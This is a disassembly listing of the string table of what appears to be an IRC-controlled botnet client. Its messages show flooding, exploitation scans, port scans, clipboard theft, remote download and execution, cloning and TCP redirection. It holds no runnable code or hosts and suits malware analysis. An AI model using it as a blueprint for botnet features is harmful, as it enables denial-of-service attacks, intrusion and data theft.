					; DATA XREF: seg000:0040DC2Ao
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_42A664	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040DC0Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42A6B4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040DB99o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:0040DB79o
		align 10h
dword_42A6F0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040DB17o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
dword_42A724	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DAC6o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_42A750	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DA37o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:0040DA09o
		align 4
unk_42A794	db    2			; DATA XREF: seg000:loc_40D9E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_42A7D4	db    2			; DATA XREF: seg000:0040D9DEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_42A80C	db    2			; DATA XREF: seg000:loc_40D9CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_42A84C	db    2			; DATA XREF: seg000:loc_40D9C7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_42A88C	db    2			; DATA XREF: seg000:0040D9C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_42A8C4	db    2			; DATA XREF: seg000:0040D945o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
unk_42A910	db    2			; DATA XREF: seg000:0040D7D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_8	db 'Failed to start server thread, error: <%d>.',0
unk_42A95C	db    2			; DATA XREF: seg000:0040D6A3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 10h
dword_42A990	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_40D679o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start scan, port is invalid.',0
		align 4
dword_42A9DC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040D5BAo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_42AA58	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D372o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_42AA90	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D359o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_42AAC4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D33Co
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_42AAF8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D326o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_42AB24	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40D2A8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_42AB64	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040D2A1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_42AB9C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40D25Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_42ABD8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040D251o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: seg000:0040D237o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1ACo
					; seg000:loc_40DF8Do
		align 4
dword_42AC28	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D139o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_42AC60	db    2			; DATA XREF: seg000:loc_40D124o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_42AC98	db    2			; DATA XREF: seg000:0040D11Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_42ACC8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D0F1o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_42AD00	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_40D0A2o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_42AD3C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0040D077o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_42AD6C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40D043o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 10h
dword_42ADB0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040D039o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_42ADE8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40CFE3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 10h
dword_42AE30	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040CFDCo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
		dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_42AE98	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040CF85o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
dword_42AEC0	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_40CF6Ao
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_42AEF0	db    2			; DATA XREF: seg000:0040CF60o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_42AF20	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CF20o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_42AF54	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CF0Co
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
aR:					; DATA XREF: seg000:loc_40CEA5o
		unicode	0, <r>,0
dword_42AF90	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE87o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_42AFBC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE4Co
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 10h
dword_42B000	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE30o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_42B038	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CDAEo
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_42B068	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CD70o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_42B098	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CD1Ao
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_42B0C8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CCAFo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_42B0F0	dd 54524150h, 0D732520h, 0Ah					; seg000:0040D32Eo
dword_42B0FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CC4Eo
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040CC40o
		align 4
dword_42B138	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040CC17o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_42B168	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040CBACo
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_42B198	dd 45444F4Dh, 732520hdword_42B1A0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040CB25o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_42B1D0	dd 4B43494Eh, 732520h					; seg000:0040D178o
dword_42B1D8	dd 4E494F4Ah, 20732520h, 7325hdword_42B1E4	dd 54524150h, 732520hdword_42B1EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40CA36o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_42B234	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C9FFo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:0040C9AEo
		align 4
dword_42B268	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40C966o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_42B290	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:0040C9D9o ...
unk_42B2A0	db    2			; DATA XREF: seg000:0040C8A9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_42B2F8	db    2			; DATA XREF: seg000:0040C88Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_42B348	db    2			; DATA XREF: seg000:0040C822o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:0040C77Co
		align 4
dword_42B394	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: seg000:0040C71Do
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_42B3C0	db    2			; DATA XREF: seg000:0040C712o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
dword_42B3F8	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:loc_40C63Do
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42B418	db    2			; DATA XREF: seg000:0040C628o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42B450	db    2			; DATA XREF: seg000:loc_40C606o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_42B49C	db    2			; DATA XREF: seg000:0040C5FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B4E8	db    2			; DATA XREF: seg000:0040C582o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_42B528	db    2			; DATA XREF: seg000:0040C50Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_10	db ' Failed to start clone thread, error: <%d>.',0
unk_42B574	db    2			; DATA XREF: seg000:0040C49Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_42B5B8	db    2			; DATA XREF: seg000:0040C414o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_11	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B604	db    2			; DATA XREF: seg000:0040C39Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_42B648	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040C307o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B694	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040C28Do
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_42B6D4	db    2			; DATA XREF: seg000:0040C21Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42B728	db    2			; DATA XREF: seg000:0040C1AEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_42B768	db    2			; DATA XREF: seg000:0040C0DCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '  Failed to start redirection thread, error: <%d>.',0
unk_42B7BC	db    2			; DATA XREF: seg000:0040C06Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_42B80C	db    2			; DATA XREF: seg000:0040BFE2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_42B85C	db    2			; DATA XREF: seg000:0040BF73o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:0040BEEFo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:0040BDF5o
		align 4
dword_42B8CC	dd 54434101h, 204E4F49h, 17325h					; seg000:0040CCFBo
dword_42B8D8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040BD08o
					; seg000:0040D62Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_15	db '  Failed to start scan thread, error: <%d>.',0
dword_42B924	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040BC99o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040BC6Eo
					; seg000:0040D58Fo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040BC67o
					; seg000:0040D588o
		align 10h
dword_42B9B0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040BB26o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_16	db '  Failed to start scan, no IP specified.',0
		align 4
dword_42B9FC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040B9DFo
					; seg000:0040D3D3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 10h
dword_42BA50	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040B9AEo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42BA9C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040B93Fo
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040B875o
		align 10h
unk_42BB10	db    2			; DATA XREF: seg000:0040B860o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42BB5C	db    2			; DATA XREF: seg000:0040B7F5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
